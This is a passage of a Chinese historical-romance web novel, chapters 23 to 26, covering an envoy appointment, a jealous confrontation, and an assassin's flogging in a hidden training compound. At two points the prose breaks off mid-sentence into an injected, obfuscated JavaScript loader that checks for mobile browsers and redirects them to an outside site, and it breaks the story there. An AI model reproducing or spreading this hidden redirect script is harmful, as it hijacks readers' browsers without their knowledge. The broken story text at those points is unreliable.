可如今霍家愈发势大,武官乘风而上,引得那些文臣不满。 今年的军饷削了一成,就是一个明显的信号——永宁帝要扼住霍因,建立新的局势平衡。 她没想到,自己趁势推了莫楚瑛一把,竟真的得来了自己想要的。 可她家王爷前脚刚斩钉截铁地宣告了自己不愿沾惹麻烦的念头,他会不会冲动之下直接拒绝了这份任命? “公主,你为何不高兴呀?这不是大好的事情吗?可以见到玉桑……可以见到王后娘娘了。” “是啊,这是好事。”顾瑶从床沿站起来时,眼里的阴翳与悲伤已一扫而空,“桑凌,你来,替我好好打扮 一番。” 她自小就被母妃教育要时刻认清自己的身份,却从没被教过守株待兔的道理。 “公主,这是要去哪儿呀?” “去见王爷。这出云使的活儿,我无论如何都要让他接下。” 23. 第 23 章 桑菱的密报略微出了差错,永宁帝册封静王的圣旨在这日黄昏就匆匆来了。 传旨的曲公公不知是不是临时受命出了这一趟门,面色并不好看,念旨的声调又高又细,像是不想让人听清。 静亲王竖着耳朵,抓住了“出云使”三个字,忽变得急不可耐,不等曲公公的“钦此”二字落下话音,就忙不迭伸出手去“谢主隆恩”了。 这举动把跪在一旁的富林吓着了,生怕是自家王爷这几日真的闷出了病,居然对宫里来的都一点面子不肯给了,那急吼吼的样子活像是要撵人家公公赶紧走。 “奴才怕是碍了静王爷用膳了吧。” 这阴阳怪气的语调半点没入莫楚瑛的耳,他拿着圣旨又细细看了一遍,抬头就问,“何时启程?” 曲大公公一愣,嘴上卑微,手却端端正正叠在身前,一点不见卑躬屈膝之意,“奴才就是个传旨的,其他概不知晓,还望王爷恕罪。” “富林,送出去吧。” “是。”富林应了,刚准备要朝曲公公赔个笑脸,发现人家一声告辞都不肯多嘴,扭屁股就走。 这准是惹到他了! 富林叫苦不迭,忙追了上去,发现曲公公岁数不小,平地里走起路来倒是厉害,比一般人小跑步还快不少,紧追慢追只好喊住了在他身后也跟得辛苦的小公公,“李公公,还请李公公留步。” 李公公生得唇红齿白,看去不过十七八岁的样子,这会儿被富林叫住,又忍不住往前头快不见人影的曲公公张望,“富公公,我这……” 富林几步赶上,将匆忙卷起的一张薄纸塞入他怀里,“李公公,还请见谅,我家王爷这几日身子不大好,你替我孝敬孝敬曲公公。” “李英,怎么?还不跟上?你想留下来陪静王吃饭呢!”已到走廊尽头的曲公公回过身来远远喝了一声。 李英向富林急急鞠了一躬,就撅着身子跟了上去。 富林忍不住抬袖拭了拭额头,为自己总贴身备着点不时之需的银票感到庆幸。 这宫里的人嘛,总归少得罪一个是一个。 “富林,王妃今日传晚膳了吗?” “回王爷,还没呢。”富林闻声,就见到自家主子拿着那圣旨,一脸如平常的清淡样子。 旁人恐怕看不出,可服侍了王爷这么多年的富林实在无法忽略他那嘴角微微努动时溜出来的一点喜色,那表情就和自家弟弟小时候得了一颗心心念念的糖,怕被父母发现偷偷藏起来的样子如出一辙。 “正好,你让他们把我的也撤了,回头一道送王妃那儿去。” “王爷,您这是……要去找王妃?” 莫楚瑛没回答,攥着那圣旨就往王妃的别院方向走去。 富林暗叹自己干的这差事果然没有一天能得个清闲,刚要跟上,就被走在前头的主子一把按住,“你不用跟着了。” 这下搞得富林不知该喜还是忧。 跟着吧,若事情出了岔子,至少他还能在期间转圜一二,不跟吧,万一几年前的事情又重演一遍,那可真是…… 富林有时真的想对自家王爷说句真心话——“反正最后都是您认输,一开始又何必呕那个气、摆那个谱呢?” 可这种真心话吧,到底轮不到他这个奴才来开口。 富林向身后的下人们挥了挥手,“让厨房先歇歇吧,这晚膳怕一时半会儿是用不上了。” 即使是富林,也只是猜中了一个开头而已。 当莫楚瑛在脑海里三番五次修改着一场阔别多日的开场白。 从“王妃,我有事同你说”到“阿瑶,你饭吃了吗”,官腔官调有之,嘘寒问暖有之。 他打算以一种平滑柔顺的姿态过度到那一晚的事情,提一提那块玉佩,问一问其中的缘由。 有些事情不说清楚,就在那暗自猜疑,实乃大忌。 穷尽了所有念头的莫楚瑛为着早点见到顾瑶,走了一条不常用的小路,从反方向拐进了顾瑶那栋小楼的连廊,就从背后看到桑凌站在楼梯口鬼鬼祟祟地转着眼睛。 这架势必然是在替顾瑶望风了。 莫楚瑛心中一沉,潜过去从身后直接拍了拍桑凌的肩,悄声道,“别动,也别出声。” 桑凌一甩头转了身,看清来人,又惊又吓。 莫楚瑛怕她故意惊了楼上,补了一句,“你若想你家公主能回云国一趟,就安分一些。” 桑凌眼角瞥到他手里的黄布卷轴,猜到是“出云使”的圣旨到了,仓皇地往楼上看了几眼,抓着衣角委屈地快哭出来,“可是王爷……” 莫楚瑛做了个噤声手势,目光如寒刃。 桑菱不敢动了。 他将衣袍拎起,垫着脚拾级而上,轻轻把耳朵贴上了窗户,心霎时坠底。 里头传来了一个男人的说话声。 一个男人,男人,是一个男人,是男人在里头说话。 莫楚瑛认出了这人的声音,耳朵一紧,心头烦乱,胸口也跟着痛起来。 这倒好,都不用他开口好好问清楚那枚玉佩到底是怎么回事,玉佩的主人就这么堂而皇之地翻进了他的王府,出现在了他明媒正娶的王妃房里。 “我知道这不合礼数,可这件事情,我非要问清楚不可。” 不合礼数?你还知道这不合礼数? 莫楚瑛呼吸急促,想直接破门而入,站到阿瑶身前,问个一清二楚。 默念几句心经,才渐渐扼杀住了那股冲动。 他在窗边站成一尊石雕,告诫自己摈弃所有喜乐哀悲,静静去听里屋的动静。 他太想要听见,顾瑶的回复,也太想要知道,顾瑶的心思。 “皇长孙想问什么?” 这一声略显疏离的称呼让莫楚瑛皱起的心和眉都舒坦了不少。 “呵,王妃喊我去云国的时候,叫我一声子翊,如今我去了,又回来了,便是皇长孙了?” “皇长孙怕是误会了。” “我误会了?难道不是王妃你把我支去了云国?” “皇长孙何出此言?不过是那日随意聊起我的家乡故国罢了。是皇长孙自己对掌灯节兴趣盎然,主动提出要去看看的不是吗?” “好,好,是我愚笨,被你诓骗,自己走入了这圈套!” “皇长孙言重了,何来的什么圈套?” “难道你敢说,你这府上没有一个眉角长着红斑的云国女子吗?” 这问句一出,不仅是顾瑶的回复一时没有传来,立在房外的莫楚瑛也心生愕然,有些懊悔自己那晚在富林的劝说下生了怜悯之意,徒增了麻烦。 “我不知皇长孙说的是谁。” “都这时候了,王妃何必隐瞒?我方才进府时已经在庭院里看见她了。是王妃你告诉说云国掌灯节最好的景色在王都的金吾街,我却在那儿被人追杀,好巧不巧这人把我逼到了一个边境小村的死胡同,我只能躲进那里的一户农家院里,里头的女子正是一个眉角长红斑的。我醒来后,身上的东西统统都不见了,这女子如今又出现在了静王府……王妃,你还敢说,这事与你毫无关系吗?” 莫子翊明明是质问,可这最后的问句在莫楚瑛听来却格外刺耳,那种责怪明明带着被背叛的不可置信。 若不是信任在先,何来这样的情感? 莫楚瑛紧紧攥住了拳头,他想冲进去,狠狠揍一顿这个心不正的侄子,要他滚回宫里,别在这期期艾艾的惹人嫌! 怎么之前自己一点没看出其中的苗头?是因为每次家宴他都魂游天外吗?还是因为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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莫楚瑛没想出自己该以什么脸色来面对顾瑶,便将圣旨扔到桑凌手里,“你让她收拾收拾,过几日就启程去云国。” 说罢就又拐上了来时的路,离开了。 “吱嘎”一声,门被拉开,顾瑶走到凭栏那儿,往下却只看见了桑凌一人,“王爷呢?” 桑凌抬起头,把手里的圣旨摇得跟拨浪鼓似的,嘴角咧到了耳根,“公主,圣旨来了!王爷应下了,说让我们收拾行李,准备启程呢!” 顾瑶走到她身边,把圣旨接过来展开读了一遍,眼里跳动起一点异样的光亮,鼻头一酸,“王爷……是刚来的吧?” “是……”桑凌一刻犹豫,双目垂下去看着地面,蚊蝇般轻声应着,“是刚来的。” 这小动作,顾瑶自是一眼就看出了桑凌没说实话。 她回身,想去找他的身影,环顾四周,却只见满目寂静。 人已经走了。 想到自己方才在房里和皇长孙私语时,他也许就那么站在门外,一声不响地听着,没给他们难堪,末了还为自己留下一份得以归家的喜讯,思及他做下这一切的心情时,心狠狠揪起。 此前对他几分真心的怀疑,一时显得矫情又懦弱。 桑凌见主子魂游天外,小心翼翼地问,“皇长孙……是已经走了吧?” 她方才正帮主子换好了衣裳抹好了妆容,要起身去见静王时,那窗户就被拉开,一个人影突然蹦了进来。 也不知他是怎么爬上二楼的。 桑凌对这位皇长孙是有些怕的,她每次看到他就觉得头顶上被压得紧。 “走了……”顾瑶疲惫地舒了一口气,忽想起莫子翊的咬牙切齿,不安骤生,“随心,随心在哪儿呢?” “桑凌回来时,还见着随心小姐在庭院里躺着吹风呢。”她转头看了看已经落下去的夕阳,“这会儿该是回房了吧。” 顾瑶没说话,将圣旨塞进桑凌手里,往外头冲了出去。 “公主,怎么了?你要去哪儿?” “皇长孙……我怕莫子翊要对她不利!” 24. 第 24 章 “咕噜噜——” 陆随心听到自己的肚子在鸣叫。 她迷迷糊糊地睁眼,一片白蒙蒙,一时以为自己瞎了,手胡乱地抓到脸上,把那娟扇打翻在地,眼前清晰了,才发现不过是虚惊一场。 她这一觉,直接把日头都给睡得西斜了下去。 “呼——”陆随心吐出一口长气,从躺椅上坐了起来,顺势伸了个懒腰,却直接怼上了一张凭空出现在眼前的脸,“啊——” 一只大手直接捂住了她的嘴,逼她将那惊叫悉数又吞了回去。 她下半张脸被紧紧摁住,不能动弹也不能发声。 眼前这人穿着一身锦衣,头发整整齐齐地束在冠里,英气的五官刻着几许狠厉。 是他! 就是那晚躲进她家的黑衣人——定国的皇长孙莫子翊! 天才将将要黑下来,这人就敢在王府里这般为所欲为,真够胆大包天的,想起那日他躲进自己家时蛮横霸道的姿态,陆随心又不觉多么意外。 她的头被箍在原地,只能靠眼珠子四处乱转,寻觅路过的救兵。 可顾瑶此前就下了令,让大家不要扰她清净,这会儿半个人影都看不见。 “我身上的东西,是不是被你拿走了?你和顾瑶是怎么认识的?这一切到底是不是是她提前安排好的?” 一连串的问题砸到陆随心脸上,她看着莫子翊一脸急火攻心的样子,不像是诘难,倒像是陷入绝望前的最后一搏,渴望听到某个答案,好把他从悬崖边上勒住。 “我问你话呢!” 陆随心伸手指了指自己嘴巴。 一边噤她的声一边又要她开口? 和扼住她脖子真的要她命的阿柒相比,这一幕倒像是过家家般儿戏。 莫子翊顺着视线看去,这才发现自己慌了阵脚,他拧起鼻子,装出凶狠的样子,“我放开你以后,你不要乱喊,好好回答我的问题,否则,我一掌拍死你。” 陆随心闭上眼,从善如流地点了点头。 下一瞬,嘴上的桎梏就松开了,可那手就悬在那儿,随时准备着再回到她脸颊两侧。 陆随心的脸痛得发紧,她一张一合着嘴巴,确认自己的骨头没有被捏坏,却瞥到莫子翊的脸色越来越臭,连忙在他发作前朝他笑笑,像哄孩子似的,“别生气,有话好好说嘛。” “快回答我!”这四个字是从咬牙切齿的嘴缝里钻出来的。 “唉,这事儿吧,真的是说来话长。”陆随心微微晃动脑袋,视线悄悄地往四周扫去,寻找脱身的机会,一边继续敷衍,“反正吧,真要说起来,我也算得上是你的救命恩人。” “你?我的救命恩人?” “可不是,若不是我收留你,你不早就被人家给追上了。还有,你以为你是怎么从云国一下子回到定国的医馆里的?可以说,若不是我,那你的小命早就没了。”陆随心故意睁大了眼睛,毫不心虚地捡着对自己有利的事说。 她自然不会提及给他送回定国是无心之举,也不会说自己当初是要把他当尸体给扔了埋了。 莫子翊眯了眼,在陆随心身上投下试探的目光,“这我自会查清,我刚刚问你的几个问题呢?” “什么问题?” “你这云人,倒是在这耍起我来了?” “你一掌就能拍死我,我怎敢耍你?” “你还说不是在耍我?” 眼见那大手又要伸上来,陆随心忙往后仰着躲过去,“别别别,我不耍你,我好好同你说,你要知道什么,我都告诉你,譬如、譬如那个刺伤你的人……” “他你也认识?所以果然连追杀我的人都是顾瑶安排的?” 陆随心不知他这话从何而来,一时愣住了,好一会儿才想起要反驳,“不是啊,怎么会是顾瑶安排的呢?不是你抢他东西先惹的他吗?” “不是顾瑶提前安排好,让那人引我进的云国司政家宅?然后再重伤我好让我回不来吗?” “你那张纸是在司政家里拿到的?林志崔林大人家?”陆随心猛地又坐了起来,倒把莫子翊吓得两眼一瞪,脖子往后缩去。 “到底是谁在盘问谁?”他很快回过神,又凶神恶煞地欺上来,双眼隐隐发红,“还有我那些东西,果真是被你拿去了?那纸上写的到底是什么意思?和顾瑶……和顾瑶到底有没有关系!” “你怎么会觉得什么都和顾瑶有关呢……” 他这哪是盘问? 总是一个问题没有结束就吐出另一个问题,话叠着话,密密麻麻的,一开始盘在脸上的急切也沉了下去,变成了让人害怕的偏激与执拗。 “难道不是吗!” “当然不是……” “我最后再问你一遍,这些事,到底是不是顾瑶安排的?” 陆随心一直支着的耳朵忽然听到远处扑簌簌的跑步声传来,眼中一亮,才发现没有听清眼前人说的话,“你方才问什么?我没听到。” 怒火在他的眼底烧过,他被罩进了一片暗色里,双眼通红,转瞬像变了个人似的,脸上佯装的狠意褪去,一股子毫不掩饰的凶气翻了上来——那是真正的杀气! 陆随心脊背一阵发凉,几乎是在本能趋势下推开他,往后边跑步声来的方向跑去,可她肩膀的骨头倏地被几根手指钳住,力道之大能瞬间将她整个捏碎一般,痛得她只能委身歪了过去。 “啊——放手!放手!” 话本小说里只说那些大侠如何厉害,如何在一招之间毙了宵小之辈的命,却从没教过一个毫无功夫的人该怎样从恶爪之中逃脱。 面对阿柒时,她毫无还手之力。 面对莫子翊时,她依旧羸弱不堪。 陆随心不知他是想杀了自己泄愤,还是要把自己带走严刑拷打一番,可无论是哪个,她都不愿束手就擒。 她身无长物,自然只有一个可还击的方法。 “我说便是了!我说!你猜对了!你全都猜对了!” 肩上的力道霎时松了一些。 脚步声在眼前回廊的转角处停下,随之而来的是一声高喝,“住手!” 陆随心立刻甩开他的钳制,往顾瑶的方向奋力跑去,等抓住了她的手才敢把步子停下往回看去。 就在她刚刚又一次遭受生命威胁的地方,那位锦衣玉立胆敢在白天就闯入王府的皇长孙此刻意气全失,成了一具被抽去骨髓血肉的干尸般,他在草木葱茏的围攻下死去,又在日夜交界的昏黄中复活。 前一瞬还是假作恶人的真少年,此刻周身却缠绕着吞噬人心的黑气。 那场景和堕入地狱的恶鬼无异。 陆随心看呆了,她难以想象自己为了脱身随口喊出的一句话竟能造成如此后果。 腿不自觉间又往那儿迈出了一步,试图说些什么。 可如今,就算她再否认,便能将此挽回吗? 不等陆随心嘴里说出只言片语,身旁的顾瑶就挡到了她面前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868123|190147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,轻轻唤了一声,“莫子翊……” 莫子翊只是用他那黑不见底的眼望过来,就那么看了一眼,“静王妃,我们后会有期”。 那眼里的黑盘踞得太深,隔出了一道无形的屏障。 他转身走到那墙边,一攀一跃,便立到了墙顶上,又一跳,人彻底不见了。 陆随心双肩一松,扶着旁边的圆柱子稳住了身形,“太吓人了……”。 顾瑶抓着她的手臂,上下来回地看她,“随心,没伤着你吧。” “没有。但是他……” 顾瑶没有接莫子翊的话题,露出一个有些惨淡的笑容,“你没事便好。” “阿瑶,是我一时脑热说错了话,害他误会了你。”懊恼在陆随心的胸中发酵,她并不清楚这二人之间到底什么过往,可她记得阿瑶对那块玉佩的紧张。即使没有这层关系,也终究是她在莫子翊面前错毁了顾瑶。 “没事的,随心。哪怕你不说,他也已经误会了。”顾瑶往莫子翊消失的方向看去,眼中盖着一层闪动的雾气,模糊了其中的哀悲,“他来之前,就已经认定了是我要对他不利。结果早就注定,无论说什么,都改变不了的。” “可是他这个样子……他会不会想要报复你?”陆随心感到一阵后怕,脸挤到一处,满面愁容。 “他不过是个孩子,一时不高兴罢了,过阵子就好了。” 陆随心不明白顾瑶怎么会把莫子翊这样的“大人”叫成“孩子”,在她眼里,只有陆少疾那种岁数以下的,才算是孩子。 这样一个堂堂八尺男儿,能用一只手捏着她的半张脸叫她动弹不得,眼里还能喷出那样的杀气与怒火,怎么也称不上是孩子吧。 而且…… “定国的皇长孙要是不高兴起来,这脚下的大地都得跟着震一震吧。” 其实顾瑶并没有真正见过这样不高兴的莫子翊,她每次和他遇见,都是他骑马射箭、舞刀弄枪、饮酒作诗的时候,他总在笑,笑里带着未曾折损的少年傲气,轻狂、张扬,也叫人移不开眼。 顾瑶的眼黯了下去,“他不会那样胡来的。” 陆随心不懂这自欺欺人的论断,她反而更为担忧,是否这盲目的相信会带顾瑶滑向更深的泥潭。 见陆随心仍未舒展面孔,顾瑶故作轻松地笑着,开起了玩笑,“不瞒你说,随心,我也是从小练武,身上有几分功夫,不会那么容易就被别人欺负了去。” 陆随心没见过顾瑶动手,但地牢里的那一幕还是跳进了脑海,她把短剑捏在手里的架势,不像是说笑,这般想着,陆随心不自觉地握了握已经结痂的右手,问,“阿瑶,你能不能教我两招?” “教你两招?” “我最近似乎命犯太岁,一会儿被人掐脖子一会儿被人捂脸抓肩的。”陆随心揉了揉还有些隐隐作痛的脸颊,“技多不压身,学一点,搞不好哪天真能保命也说不定。” “咳,好。”顾瑶虽听她说得不正不经,可还是认真应了,“不过我们可得抓紧点了。” “此话怎讲?” “今日来了圣旨,王爷被封了’出云使’,不日就该启程到云国了。” “你的意思是……” “该是送你回家的时候了。” 陆随心一惊。 心心念念盼望着回家,成真了却莫名觉得怅然。 到了该分别的时候了吗? 她这被迫走上的生死险路,是真的要结束了吗? 25. 第 25 章 这是一间从山壁里挖出来的屋子。 逼仄、狭小、昏暗。 一张长木桌霸道地盘踞在中央,占去了大半地方,掀开的簿册随意躺在一边,砚台上斜着一支未干的狼毫笔。 桌子亮着一盏烛火,映在桌后之人的脸上。 他看起来半百年纪,头发灰白身形壮硕,斜坐在一张凳子上,双腿像两根粗木桩直直架在桌沿,上下交叠左右摇晃,整个人姿态悠闲,嘴里哼着不知名的小曲。 身后的石壁上有红墨写就的十个天干,甲、乙、丙、丁……每个天干后面都挂着数量不一的小木牌,每个木牌都是一个名字。 木牌斜对着的是一个黑黢黢的洞口,只有一点又昏又黄的光透出来,光影不断摇曳,伴着洞里头不断响起的凄厉声——那是鞭子甩进肉里的噼啪作响和人鬼难辨的嘶吼惨叫。 桌前的男人掏了掏耳朵,将小指凑到眼前,眯着眼来回转脑袋,终于看到了几粒碎碎的黄泥,满意地用大拇指弹开,一边往里头喊道,“别叫了别叫了,马上就结束了。还有几鞭?” 鞭子的声音停下,“回教头,还有十五鞭。” “别停别停,继续呀!”教头又把小指捅进了耳朵,“十五鞭就是一眨眼的功夫,打完了好好休养,下次别再这么浑了,知道吗?再掉下去,就该到’癸’行了,那你可就真活不了了。” 那鞭子又甩出去,能听到血肉翻出的炸裂声。 这次没有人回应。 “说你呢,工布!”教头折起小指,朝里头大吼一声。 “是……教头。” 听到那气若游丝的回应,教头兀自点了点头,双手叠在胸前,闭目养起神来。 那鞭声倒成了催他入眠的乐曲一般。 过了一会儿,鞭声终于停了,一辆板车被咕噜噜地推了出来,上面趴伏着不知死活的一具□□,血不断地滴下,在地上坠出一朵朵鲜红淋漓的花。 “教头,打完了。” 桌前的男人轻轻抬了抬眼皮,“送过去养着吧。” “是,教头。” 板车转了个方向,往另一条黑黑的甬道推去,路过岔口的时候,因为突然出现在那儿的身影停了一下, “哟,这是……纯钧!教头!是纯钧来了。” 那人似乎是刚刚从日光走进黑暗,眼还未全然睁开,他微微颔首,对板车上的鲜红惨状视若无睹,径自向里屋的教头走去。 “回来了。”教头把腿收了起来,拿过一旁的册子,手指伸进嘴里舔了舔,揪着册子的角掀开了一页又一页,终于在某处停下,凑到灯下一看,“怎么样?柳家后人找到了吗?” “没有。” “没有?”教头抬头看他,满目诧异,又掏了掏耳朵,似乎以为自己听错了,“没有你回来干嘛?哦……到时间了是吧。啧。” 纯钧从怀里摸出两样东西,扔到了桌上,“查了点别的。” “你前阵子传信回来,说是去了定国一趟,是吧?我正要同你说,上头甚为欣喜,要派你去那儿做件要事,回头我同你细说。”教头将东西捞到自己身前,看到是一块腰牌和一份文书,他眼皮往上一翻,“这是什么?” “铲了一个霍因派来的奸细,拿了一份定国军中的情报。” 教头把文书翻开,粗略读了一下,“你记得规矩?功过不相抵。” “知道。” 教头伸手摸到了桌下边的一个柜子,拉开抽屉,取出一个瓶子递过去,“这个先拿着,这些等核实了,再把相应的赏银给你记账上。” “是。”纯钧把瓶子拿过去,当场打开盖子,倒出一颗黑乌乌的丸子,用手掌拍进嘴里,喉结上下一动,便生生吞了下去,随后问,“几鞭?” “呵,你小子,很久没受过打了吧?”教头一根手指隔空点着他,“我看你是在’甲等’待久了,忘记鞭子的痛了。” “没有,记得的。” “那还几鞭几鞭,五十起步!打得你皮开肉绽!十天下不来床!”教头越说越气,把那册子猛地甩上,盯紧了他的眼,“你这事也没那么难办吧?林志崔都抄家了,他屋里松得很,你进去翻一翻,能没有柳家的一点信息?我看你是对这事没上心吧?” “不敢。” “你要是这样下去,就要被赤霄那小子给赶下去了!人家可是对你的位置觊觎得紧。”教头“唰”得站起来,对着身后石壁的乙等第一块木牌拍了好几下,“看到没有?一步之遥!” 纯钧扫了一眼在自己名字下面的那块牌子,便不痛不痒地把目光移开了。 “赤霄这家伙,疯起来可不得了,你该切切心了。” 纯钧还是没说话。 “还好你这任务不算十万火急,否则……”教头的声音变了个调,眉向上斜挑了一下,真假暧昧地问着,“要不要给你派个帮手?” “不必了。” 那声调立刻转回了训斥,“那你就好好干!下次到时间了还找不到,就不是几鞭子的事了!” 教头训得气血冲顶,刚准备要坐下歇歇,就听到一声催促,“教头,该打鞭子了。” “你小子,还催起我来了?这么想挨打是吧?”教头两道眉一挑,从桌子后面绕了出来,就往那昏黄灰暗的洞里冲进去,大手一挥,招他跟上,“好好好,今日我亲自上阵打你。让你躺一个月!” 纯钧一声不响,也跟着被那处黑暗吞了进去。 洞里头更小更逼仄,一盏昏黄的烛火挂在壁上,照出一小隅角落。 这里几乎什么也没有,只有一根大木桩子冲天而立,上面拴着一副铁制镣铐,地上到处是暗红的血,干的、湿的、斑斑驳驳,血里头卷曲着一根长鞭,上头磕磕楞楞,生满了倒刺。 “过去吧。”教头把那根还沾着血的鞭子捡起来,甩了甩,一些肉屑飞溅到地上。 纯钧的步伐依旧很稳,好像到的不是酷刑室,而是回到了熟稔的寝房。 他定定地站到了木桩前边,不等身后人说话,就动手把上衣解开,一路退到腰间,整块精瘦有力的脊背完□□露了出来,那上头攀爬着一些久愈的伤疤,像被打翻了的蜈蚣窟。 “不戴铐?” “不戴了。” “那你小子可给我好好站稳了!”教头话音落下的时候,手中的鞭子就甩了出去,狠狠掼到了纯钧的背上。 “啪——” 红色的伤口如蛇一样在背上炸开,血肉翻出,边沿的皮卷了起来。 纯钧一动没动,脚像是生在了地上,长牢了,连那背都照样挺着,没有丝毫躲闪。 “哼,你小子,硬气是真硬气。”教头往地上啐了一口,第二鞭又落了下去,“我在’无影剑’待了这么多年,从没见过第二个你这样的。” “啪——” 第三鞭。 “就连赤霄挨起鞭子来,也得把嘴咬破了才能不叫出声。” “啪——啪——啪——” 第四鞭、第五鞭、第六鞭。 纯钧还是岿然不动,像块没生命不会呼吸的石头。 “哦,还有一个。”教头一边抽着,一边回忆,“那小子也是个硬骨头!挨鞭子的时候倒是没少嚎,但最后开刃时,楞挺了七天七夜……” “啪——啪——啪——啪——” 十鞭打完了。 “瞧我这记性,不就是当初你的对头么。” 教头又狠狠打了好几鞭,垂下手,喘了口气,“唉,到底是人老了。脑子不好使,力气也弱了。” 眼前那块石板一样的背已经血肉模糊,一道道长长短短的口子争先恐后地在那里攻池掠地。 纯钧的手也终于抬了起来,撑在那壁上,可他的嘴巴还是一下都没有动过。 没有放开声的痛叫,没有咬着唇的隐忍,就像背上所遭遇的一切与他无关。 他的魂魄抽离,留在这儿的只是一个躯壳。 “呵。”稍事歇息后的教头又举起了鞭子,仍不忘追忆往昔,似乎鞭笞是余兴,讲讲过去说说话才是他的正事,“像你们这样的,我是再没见过咯。现在那一批批的小孩,都是锣鼓一响,就毫不犹豫冲过去了。” 纯钧一字不回,教头依旧说得来劲,“不像你们那时候,现在好多娃都是爹娘亲自送来的,就是听说这里有饭吃,可那也得留到最后,上了那’天干榜’才行。那你说进那坑里的时候,他们能犹豫吗?” 打着打着,教头便迷糊了,“刚刚那是第几鞭了?” “三十七。”纯钧的声音有些虚弱。 教头抬头望着漆漆黑的石顶,掐着手指慢慢合计了会儿,一咂摸,“是,三十七了。还有十三鞭。” 外头传来声 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那木板车很快就被推了进来,里头又挤又昏暗,车板直接撞上了教头的腿,被他一阵破口大骂,“你眼珠子长背上了是不是?” “教头恕罪,教头息怒。” 推板车的男子刚要走去把纯钧扶过来,就见他手撑在柱子上把血淋漓的背转了过去,略带踉跄地拖着步子,倒是没费太多功夫,就把自己扔上了血污斑斑的车子,半坐半躺在上头。 背上的血像小溪流似的,汩汩往下淌,淌到板上,和其他人的混到了一起,他说,“走吧。” “你倒是个让人省心的主。” 教头一眼没再看纯钧,大步走回了他的木桌边上,对着眼前新来的黑衣男子问,“赤霄来啦,是来领赏还是领罚的呀?” 这人的头兜在大黑帽下,脸上也蒙着块黑布,全身上下除了眼睛和那一双手,什么都看不见,他把提着的东西往桌上一放,“自然是赏了。” 黑布包裹直接压在了纯钧带来的文书上,教头忙拿开了,还斥了一句,“没看见这儿有东西吗?” 赤霄睨了一眼被推出来的人,冷笑一声,“呵,纯钧?” 教头在桌上找了块空处,把黑包裹挪过去,将上头的结解开,布条子立刻软绵绵落了下去,黑绒绒的头发露了出来,再往下便是灰白的一张脸。 那是一颗人头。 教头把人头端起来上下左右好好看了看,“行,漂亮。”又放回去,招呼从眼前走过的推车人,“诶,你过来,把这人头拿去烧了。” “教头,我也不能一下干两件事呀。” “你小子最近这屁话真是越来越多。”教头把包裹又草草系上,手轻轻一挥,那脑袋就精准无误地落进了板车上纯钧的怀里,“让你少走一趟还不乐意。” 断头略带腐烂的腥臭味夹在这石屋的血气里,实属难闻。 但纯钧只是微微睁开眼,看了看身上突如其来的重量,便又闭上了。 教头拿起笔在册子上勾画了一番,“行了,赤霄,给你记好了,赏金自去领。” “还有两件事。” “哦?你倒是真卖力。” 赤霄又往后头斜了一眼,从怀里掏出一封信件递了过去,“那几个有异动,姓宗的给沂山军去了封信,大概是准备闹事了。” 教头接过来,也没把信拆开看一眼就又还了回去,“宗同伦这蠢货本就不足为惧,他身边还有承影看着,你不必操心,把信原样寄过去吧。” “教……”赤霄那双细长的眼睛一下被拉开了,也就是一刹那的功夫,他就恢复了原样,乖乖把东西拿了回来,“是。” “还有一件事?” “是。”赤霄把信塞回了胸口,第三次把目光扫向已经被推进甬道的纯钧,“我找到柳家后人的下落了。” 教头还什么都没说,就听到板车那儿传来“咚”的一声。 “怎么了?”教头朝那儿吼了一句。 推板车的放开了车把,绕去前面蹲下腿,将滚到地上的人头捡了起来,腰重新舒展开的时候,就见到车里那人整个低垂了下去毫无声息。 他回道,“教头,纯钧也昏过去啦。” 26. 第 26 章 比起当初躲着藏着往长阳城赶的日子,回云国的路堂堂正正,康庄大道,尽是舒坦。 陆随心瘫坐在铺满软垫子的马车里,晃晃悠悠地想着李芸娘和陆少疾看到自己时的面孔,是会喜极而泣,还是一家人抱头痛哭? 他们还认不认得出自己? 虽说她早已不是长个的年纪,可出来走了这么一遭,总觉得身上有了些变化。 “随心,你想什么呢,如此入神?” “哦,没想什么,就是……有点近乡情怯了吧。”陆随心挠了挠额边碎发,抬眼看清端坐在马车中央的顾瑶,身板比那些唱戏当兵的还挺直,不由轻笑,“阿瑶,这车里也没其他人,你要不……也坐得舒服点儿?” 顾瑶眨眨眼,略显困惑,“我坐得挺舒服呀。” 旁边的桑凌转过头去偷偷把脸埋进手里的绢帕,笑了。 这倒是叫陆随心有些如坐针毡,她便摇着身子把自己往高处送了送,又像是遮掩一般,推开手旁的窗户,张着头往前看去。 浩荡的马队蹄声阵阵,践起如风的尘土,在空中扬成一片稀薄的黄雾。 另一辆偌大的马车在不远处踢踢踏踏地走着。 是“出云使”静亲王的座驾。 这俩人,和陆随心见到的寻常夫妇真是大不相同,没见过这样吃住不一块,吵起架来十天半个月都不见好的。 她把头探回来,想问问,又觉得不大合适,可嘴已经张开,只好临时换了话题,“阿瑶,我们这是到哪儿了呀?” “这次走的是官道,要慢一些,但昨日已经进了云国的地界,转到民安村,估计就是今明两天的事了。” 顾瑶细细地解释着,语气里透着难掩的轻快,“随心,你马上就可以回家了。” 桑凌在一旁又笑了,“公主,我们也马上就可以回家了。” 可陆随心不知怎么,突然又想起了阿柒走之前说的话——“云国对你来说,已非安全之地。” 她晃着脑袋,恨恨地想把那人甩出去。 “怎么了?” “啊,没事,我就是回忆回忆,巩固一下你教我的那两招。” 那日莫子翊离开后,因着陆随心的要求,顾瑶便真的捡了几招反擒拿的招术教她。 可陆随心没有底子,没扎过马步没打过木桩,学了几天,只有空架子,对付对付桑凌还凑合,其他就连譬如不小心路过被硬抓来陪练的富林都打不过。 她当时苦着一张脸,“阿瑶,你看我这样,是不是果然没有学武的天赋?” 不等顾瑶回答,桑凌就在旁边笑着给她递过去一块绢帕让她擦汗,“我们家公主可是三岁就开始扎马步了,随心小姐你起步晚,不丢人。” 